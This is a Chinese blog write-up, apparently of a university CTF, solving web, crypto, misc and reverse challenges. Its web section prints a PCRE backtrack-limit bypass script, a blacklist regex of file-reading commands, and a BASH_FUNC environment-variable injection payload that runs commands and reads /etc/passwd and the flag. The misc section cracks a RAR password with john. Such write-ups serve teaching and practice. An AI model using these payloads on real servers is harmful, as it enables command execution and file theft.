{"id":1108,"date":"2023-03-03T12:27:24","date_gmt":"2023-03-03T04:27:24","guid":{"rendered":"https:\/\/fushuling.com\/?p=1108"},"modified":"2023-07-31T14:43:37","modified_gmt":"2023-07-31T06:43:37","slug":"%e6%88%90%e7%94%b5%e6%88%90%e9%83%bd%e5%ad%a6%e9%99%a2%e5%ae%89%e6%b4%b5%e6%9d%afwp","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/03\/03\/%e6%88%90%e7%94%b5%e6%88%90%e9%83%bd%e5%ad%a6%e9%99%a2%e5%ae%89%e6%b4%b5%e6%9d%afwp\/","title":{"rendered":"\u6210\u7535\u6210\u90fd\u5b66\u9662\u5b89\u6d35\u676fwp"},"content":{"rendered":"\n

\u88ab\u9a82\u633a\u60e8\uff0c\u7b2c\u4e00\u6b21\u9047\u5230\u529e\u4e86\u4e24\u5929\u88ab\u9a82\u7684\u505c\u529e\u4e86\u7684\uff0c\u4e0d\u8fc7\u786e\u5b9e\u529e\u7684\u4e0d\u591f\u597d\uff0c\u6253\u4e86\u4e24\u5929\u6211\u90fd\u6ca1\u89c1\u5230\u9898\u76ee\u73af\u5883\u662f\u5565\uff0c\u90fd\u662f\u6361\u53d1\u7684\u9644\u4ef6\u505a\u3002<\/p>\n\n\n\n

\u7b7e\u5230<\/strong><\/h1>\n\n\n\n

\u7b7e\u5230\u9898<\/strong><\/h3>\n\n\n\n

flag{welcome_to_i_soon}<\/p>\n\n\n\n

WEB<\/h1>\n\n\n\n

babyweb<\/h2>\n\n\n\n

\u53ef\u4ee5\u770b\u51fa\u6765\u51fa\u9898\u4eba\u5929\u5929\u770bp\u795e\u6587\u7ae0\ud83d\udc4d\ud83d\udc4d\u5168\u6284\u7684\u4eba\u5bb6\u535a\u5ba2\u4e0a\u7684\ud83d\udc4d\ud83d\udc4d<\/p>\n\n\n\n

\u8fdb\u5165\u76ee\u6807\u7f51\u9875\u53ef\u4ee5\u770b\u5230\u6e90\u7801\uff1a<\/p>\n\n\n\n

<?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n\n$a = $_POST['heizi'];\nif (isset($a)){\n    if(substr($a,0,5) == \"aikun\" and substr($a,-10,10) == \"xiaojijiao\"){\n        if ($a == \"aikunxiaojijiao\"){\n            die(\"nononono\");\n        }\n        if (preg_match('\/aikun.+?xiaojijiao\/is',$a)){\n            die(\"Hack!!!\");\n        }\n        system(\"ls\");\n    }else{\n        die(\"what?\");\n    }\n}\n?><\/code><\/pre>\n\n\n\n
\u5f88\u660e\u663e\u662f\u7ed5preg_match\uff0c\u53ef\u4ee5\u60f3\u5230p\u795e\u7684\u6587\u7ae0PRCE\u56de\u6eaf\u6b21\u6570\u7ed5\u8fc7<\/a>\uff0c\u539f\u7406\u5c31\u662fpreg_match\u5bf9\u5b57\u7b26\u5224\u65ad\u662f\u6709\u4e0a\u9650\u7684\uff0c\u5b83\u4f1a\u4ece\u524d\u5230\u540e\u4e00\u4e2a\u5b57\u7b26\u4e00\u4e2a\u5b57\u7b26\u5224\u65ad\uff0c\u5982\u679c\u5224\u65ad\u4e86\u7684\u5b57\u7b26\u6570\u91cf\u5927\u4e8e1000000\u4f1a\u76f4\u63a5\u9000\u51fa\uff0c\u4e0d\u4f1a\u7ee7\u7eed\u5224\u65ad\uff0c\u56e0\u6b64\u5f88\u660e\u663e\u6211\u4eec\u5f97\u5728aikun\u4e0exiaojijiao\u4e4b\u95f4\u52a0\u4e00\u767e\u4e07\u4e2a\u5b57\u7b26\uff0c\u8fd9\u6837\u5c31\u7ed5\u8fc7\u53bb\u4e86\uff0c\u811a\u672c\uff1a<\/p>\n\n\n\n
import requests\n\ndata={\"heizi\":\"aikun\"+\"a\"*1100000+\"xiaojijiao\"}\n\nres = requests.post(\"http:\/\/182.148.156.200:9134\/\", data=data)\n\nprint(res.text)<\/code><\/pre>\n\n\n\n
\u7ed5\u8fc7\u53bb\u4e4b\u540e\u4f1a\u6267\u884cls\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u4e0b\u4e00\u5173\u7684\u8def\u5f84\uff1ae4eeee4vaa1ll1we44ebf111a4g.php<\/p>\n\n\n\n
<?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n\nforeach ($_REQUEST['env'] as $key => $value) {\n    if (blacklist($value)) {\n        putenv(\"{$key}={$value}\");\n    }else{\n        echo \"Hack!!!\";\n    }\n}\n\nsystem('echo doit');\n\nfunction blacklist($a){\n    if (preg_match('\/ls|x|cat|tac|tail|nl|flag|more|less|head|od|vi|sort|rev|paste|file|grep|uniq|\\?|\\`|\\~|\\@|\\-|\\.|\\[|\\]|\\'|\\\"|\\\\\\\\\/is', $a) === 0){\n        return true;\n    }\n    else{\n        return false;\n    }\n}\n\n?><\/code><\/pre>\n\n\n\n
\u5f88\u660e\u663e\uff0c\u8fd9\u5c31\u662fp\u795e\u6700\u7ecf\u5178\u7684\u90a3\u7bc7\u73af\u5883\u53d8\u91cf\u6ce8\u5165<\/a>\uff0c\u6211\u5927\u4e00\u8fd8\u5199\u8fc7\u5206\u6790\u3002\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u5728\u73af\u5883\u53d8\u91cf\u53ef\u63a7\u7684\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7url?env[BASH_FUNC_echo()]=() { \u547d\u4ee4; }\u7684\u65b9\u5f0f\u5728centos\u4e0b\u6267\u884c\u547d\u4ee4\uff0c\u5177\u4f53\u539f\u7406\u53ef\u4ee5\u53bbp\u725b\u7684\u535a\u5ba2\u91cc\u770b\uff0c\u6b64\u5904\u4e0d\u518d\u8d58\u8ff0\u3002<\/p>\n\n\n\n
\u6240\u4ee5\u4e0b\u4e00\u4e2a\u96be\u70b9\u5c31\u662f\u627e\u5230\u53ef\u4ee5\u8bfb\u53d6\u6587\u4ef6\u7684\u547d\u4ee4\uff0c\u8fd9\u91cc\u5df2\u7ecfban\u7684\u5dee\u4e0d\u591a\u4e86\uff0c\u4e0d\u8fc7\u8fd8\u662f\u6ca1ban\u5b8c\uff0c\u5e76\u6ca1\u6709ban diff\u8fd9\u4e2a\u547d\u4ee4\uff0c\u6240\u4ee5\u6211\u4eec\u8fd8\u662f\u53ef\u4ee5\u7528diff flag \/etc\/passwd\u6216\u8005man \/f*\u8bfb\u53d6\u6587\u4ef6\uff0c\u6700\u540epayload\uff1a<\/p>\n\n\n\n
http://182.148.156.200:9134\/e4eeee4vaa1ll1we44ebf111a4g.php?env[BASH_FUNC_echo()]=()%20{%20diff%20\/f*%20\/etc\/passwd;%20}<\/code><\/pre>\n\n\n\n
flag{hap1y~You~go@ooo1t~i1iIt}<\/p>\n\n\n\n
\u9664\u4e86\u8fd9\u79cd\u65b9\u6cd5\u5916\u8fd8\u80fd\u7528\u7684\u8bfb\u53d6\u6587\u4ef6\u547d\u4ee4\u8fd8\u6709man\uff0c\u6bd4\u5982man \/f*\uff0c\u8fd8\u6709sed\u547d\u4ee4\u4e5f\u6ca1\u88ab\u8fc7\u6ee4\uff0c\u6bd4\u5982sed p \/f*<\/p>\n\n\n\n
CRYPTO<\/strong><\/h1>\n\n\n\n
\u51fa\u9898\u4eba\u9ebb\u4e86\uff0c\u968f\u4fbf\u6572\u7684<\/strong><\/h2>\n\n\n\n
\u952e\u76d8\u5bc6\u7801\uff0c\u952e\u76d8\u4e0a\u5305\u56f4\u7684\u662f\u660e\u6587<\/p>\n\n\n\n
qwsxz a<\/p>\n\n\n\n
3wsdr4 e<\/p>\n\n\n\n
wazxde s<\/p>\n\n\n\n
ygbnju h<\/p>\n\n\n\n
8ujko9 i<\/p>\n\n\n\n
5rfgy6 t<\/p>\n\n\n\n
flag{aeshit}<\/p>\n\n\n\n
MISC<\/h1>\n\n\n\n
\u6447\u6eda\u5c11\u5e74\u7684\u65e5\u8bb0<\/h2>\n\n\n\n
\u4e00\u4e2a\u5957\u5a03\u9898\u3002<\/p>\n\n\n\n
\u89e3\u538b\u9644\u4ef6\u5f97\u5230\u4e00\u4e2a1.txt\uff0c\u4e00\u4e2a2.png\uff0c\u4e00\u4e2a3.rar\u3002<\/p>\n\n\n\n
3.rar\u76f4\u63a5\u6253\u6253\u4e0d\u5f00\uff0c\u7528010editor\u770b\u770b\uff0c\u53ef\u4ee5\u53d1\u73b0\u8fd9\u4e2a\u538b\u7f29\u5305\u524d\u9762\u7684\u5b57\u8282\u7801\u662fPK\uff0c\u8fd9\u662fzip\u7684\u7279\u5f81\uff0c\u4f46\u6211\u6539\u6210zip\u540e\u7f00\u4e5f\u6ca1\u6253\u5f00\uff0c\u540e\u6765\u53c8\u60f3\u5230\u90a3\u4e2a\u611f\u53f9\u53f7zip\u7684\u5b57\u8282\u7801\u91cc\u53ef\u80fd\u6ca1\u6709\uff0c\u53ea\u6709Rar\u6709\uff0c\u6240\u4ee5\u7a81\u7136\u60f3\u5230\u628a\u524d\u9762\u7684\u5b57\u8282\u7801\u6539\u6210Rar!\uff0c\u8fd9\u4e0b\u6b63\u5e38\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
3.rar\u53ef\u4ee5\u6b63\u5e38\u6253\u5f00\uff0c\u4f46\u662f\u9700\u8981\u5bc6\u7801\uff0c\u60f3\u8bd5\u8bd5\u7206\u7834\u4f46Bandizip\u6216\u8005Arc\u90fd\u6253\u4e0d\u5f00\u5b83\uff0c\u8bf4\u683c\u5f0f\u6709\u8bef\uff0c\u53ef\u80fd\u67d0\u5904\u505a\u4e86\u9632\u7206\u7834?\u4e0d\u8fc7rar2john\u53ef\u4ee5\u6b63\u5e38\u7206\u7834\uff0c\u5c31\u7528\u5b83\u4e86\uff1a<\/p>\n\n\n\n
rar2john 3.rar\nrar2john 3.rar > hash.txt\njohn hash.txt<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5f97\u5230\u5bc6\u780110969\u6211\u4eec\u53ef\u4ee5\u6253\u5f00\u90a3\u4e2arar\u4e86\uff0c\u91cc\u9762\u6709\u4e00\u4e2a\u56db\u70b9\u4f4d\u6cd5\u2014\u2014\u67b6\u5b50\u9f130,1\u8282\u594f\u578b\u8bad\u7ec3.txt\uff0c\u6253\u5f00\u4e00\u770b\u5168\u662f0\u548c1\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5bf9\u6570\u5b57\u654f\u611f\u70b9\u4f1a\u53d1\u73b016900\u5176\u5b9e\u5c31\u662f130\u7684\u5e73\u65b9\uff0c\u6240\u4ee5\u8fd9\u4e1c\u897f\u53ef\u80fd\u662f\u4e2a\u4e8c\u7ef4\u7801<\/p>\n\n\n\n
from PIL import Image\nMAX = 130\npic = Image.new(\"RGB\",(MAX, MAX))\nwith open('\u76ee\u6807.txt', 'r') as f:\n    str = f.read()\ni=0\nfor y in range (0,MAX):\n    for x in range (0,MAX):\n        if(str[i] == '1'):\n            pic.putpixel([x,y],(0, 0, 0))\n        else:\n            pic.putpixel([x,y],(255,255,255))\n        i = i+1\npic.show()\npic.save(\"flag.png\")\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e0d\u662f\u6211\u4eec\u719f\u77e5\u7684\u4e8c\u7ef4\u7801\uff0c\u4f46\u53ef\u4ee5\u7528barcode-reader<\/a>\u8bfb\u51fa\u6765\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
MY_FIRST_STORY_IMMINENCE}<\/code><\/pre>\n\n\n\n
2.png\u540e\u7f00\u6539\u6210rar\uff0c\u89e3\u538b\u51fa\u6765\u53ef\u4ee5\u5f97\u5230\u4e00\u4e2a2.txt\uff0c\u4e00\u4e2aCOEXIST.mp3\u3002<\/p>\n\n\n\n
foremost COEXIST.mp3\u5f97\u5230\u4e00\u4e2a\u538b\u7f29\u5305\uff0c\u89e3\u538b\u51fa\u6765\u5f97\u5230\u4e00\u4e2a3.txt\uff0c\u4e00\u4e2aCOEXIST.mp3\uff0c\u4e00\u4e2akey.ico\uff0ckey.ico\u91cc\u7684\u5185\u5bb9\u5e94\u8be5\u662fbase64\u9690\u5199\uff1a<\/p>\n\n\n\n
import base64\n\ntable = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/'\nfile = open(\"key.ico\",encoding='utf-8')\nflag=''\ntmpbin=''\n\nfor line in file.readlines():\n    line=line.strip('\\n')\n    if(line[-1]=='='):\n        if(line[-2]=='='):\n            i=table.index(line[-3])\n            b=bin(i)[2:]\n            b=b.zfill(6)\n            print(line)\n            print(b)\n            print(b[-4:]+'\\n')\n\n            tmpbin+=b[-4:]\n        else:\n            i = table.index(line[-2])\n            b = bin(i)[2:]\n            b = b.zfill(6)\n            print(line)\n            print(b)\n            print(b[-2:]+'\\n')\n\n            tmpbin+=b[-2:]\n\nlength= len(tmpbin)\/8\nfor i in range(int(length)):\n    flag+=chr(int(tmpbin[i*8:i*8+8],2))\n\nprint(flag)\n\n#\u00f4\u00f5$d\u00f5$UdU!\u00d0<\/code><\/pre>\n\n\n\n
\u8dd1\u51fa\u6765\u7684\u662f\u4e2a\u5947\u5947\u602a\u602a\u7684\u4e1c\u897f\uff0c\u6211\u9010\u4e2a\u89e3\u7801\uff1a<\/p>\n\n\n\n
import base64\n\ntable = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/'\n# file = open(\"flag.txt\",encoding='utf-8')\n\nfile = open('key.ico','rb')\n\nflag=''\ntmpbin=''\n\nfor line in file.readlines():\n    # line=line.strip('\\n')\n    line = line.decode().strip('\\n\\r')\n    c = base64.b64decode(line).encode(\"utf-8\")\n    print(c)\nprint(flag)\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53d1\u73b0\u9664\u4e86\u4e2d\u95f4\u4e00\u6bb5\u5916\uff0c\u5176\u4ed6\u5168\u662f\u6b4c\u8bcd\uff0c\u6240\u4ee5\u628a\u4e2d\u95f4\u4e00\u6bb5\u5355\u72ec\u63d0\u53d6\u51fa\u6765\u505abase64\u9690\u5199\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5f97\u5230OORFOREVER<\/p>\n\n\n\n
key.ico\u8fd9\u91cc\u8fd8\u6709\u4e00\u6bb5\u5f88\u5947\u602a\u7684\u4e1c\u897f\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8bb0\u4e8b\u672c\u6253\u5f00\u5c31\u6ca1\u6709\uff0c\u6240\u4ee5\u5e94\u8be5\u662f\u96f6\u5bbd\u5ea6\u9690\u5199<\/a>\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u62fc\u8d77\u6765\u5c31\u662fOORFOREVERLOVE<\/p>\n\n\n\n
\u9664\u4e86\u8fd9\u79cd\u65b9\u6cd5\u4e4b\u5916\u8fd8\u53ef\u4ee5\u7528Byxs20\u5f00\u53d1\u7684\u4e00\u628a\u68ad\u5de5\u5177<\/a>\u5f04\u51fa\u6765\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e0d\u4f46\u544a\u8bc9\u4f60\u4e2d\u95f4\u6709\u96f6\u5bbd\u5ea6\u9690\u5199\uff0c\u76f4\u63a5Base64\u9690\u5199\u4e5f\u80fd\u89e3\u51fa\u6765OORFOREVER<\/p>\n\n\n\n
COEXIST.mp3\u7684\u6ce2\u9891\u56fe\u91cc\u6709\u6570\u636e\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
TZRL{CEI_JO_IZQF_<\/p>\n\n\n\n
\u524d\u56db\u4e2a\u5b57\u7b26\u4e00\u770b\u5c31\u662fflag\uff0c\u5c1d\u8bd5\u51fa\u6765\u662f\u7ef4\u5409\u5c3c\u4e9a\u5bc6\u7801\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
FLAG{ONE_OK_ROCK_<\/code><\/pre>\n\n\n\n
\u4e24\u4e2a\u62fc\u5728\u4e00\u8d77\uff1a<\/p>\n\n\n\n
FLAG{ONE_OK_ROCK_MY_FIRST_STORY_IMMINENCE} \u4e5f\u5c31\u662f\u4e09\u4e2a\u4e50\u961f\u7684\u540d\u5b57MY FIRST STORY\u7684\u4e3b\u5531\u662fONE OK ROCK\u4e3b\u5531taka\u7684\u4eb2\u5f1f\u5f1f\u3002<\/p>\n\n\n\n
\u6211\u7684\u8bc4\u4ef7\u662f\u8fd9\u662f\u4e00\u9053\u5783\u573e\u7684\u5957\u5a03\u9898\uff0c\u53ea\u77e5\u9053\u628a\u5176\u4ed6\u4f18\u79c0\u9898\u76ee\u7684\u77e5\u8bc6\u70b9\u5168\u90e8\u6284\u8fc7\u6765\uff0c\u5957\u5a03\u5c42\u6570\u592a\u591a\u4e86\uff0c\u653e\u6b63\u89c4\u70b9\u7684\u5e73\u53f0\u6536\u9898\u662f\u4e0d\u4f1a\u6536\u7684\u3002<\/p>\n\n\n\n
RE<\/h1>\n\n\n\n
ctfshow\u539f\u9898\uff0c\u6211\u4e0a\u6211\u90fd\u884c\uff0cflag\u90fd\u6ca1\u6539<\/p>\n\n\n\n
a = b'\/..v4p$$!>Y59-'\nb = b')(*&^%489$!057@#><:2163qwe'\nv = 0\nfor i in a:\n    v = v*26+b.index(i^7)\n \nprint(v)\n#2484524302484524302\n#flag{2484524302484524302}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
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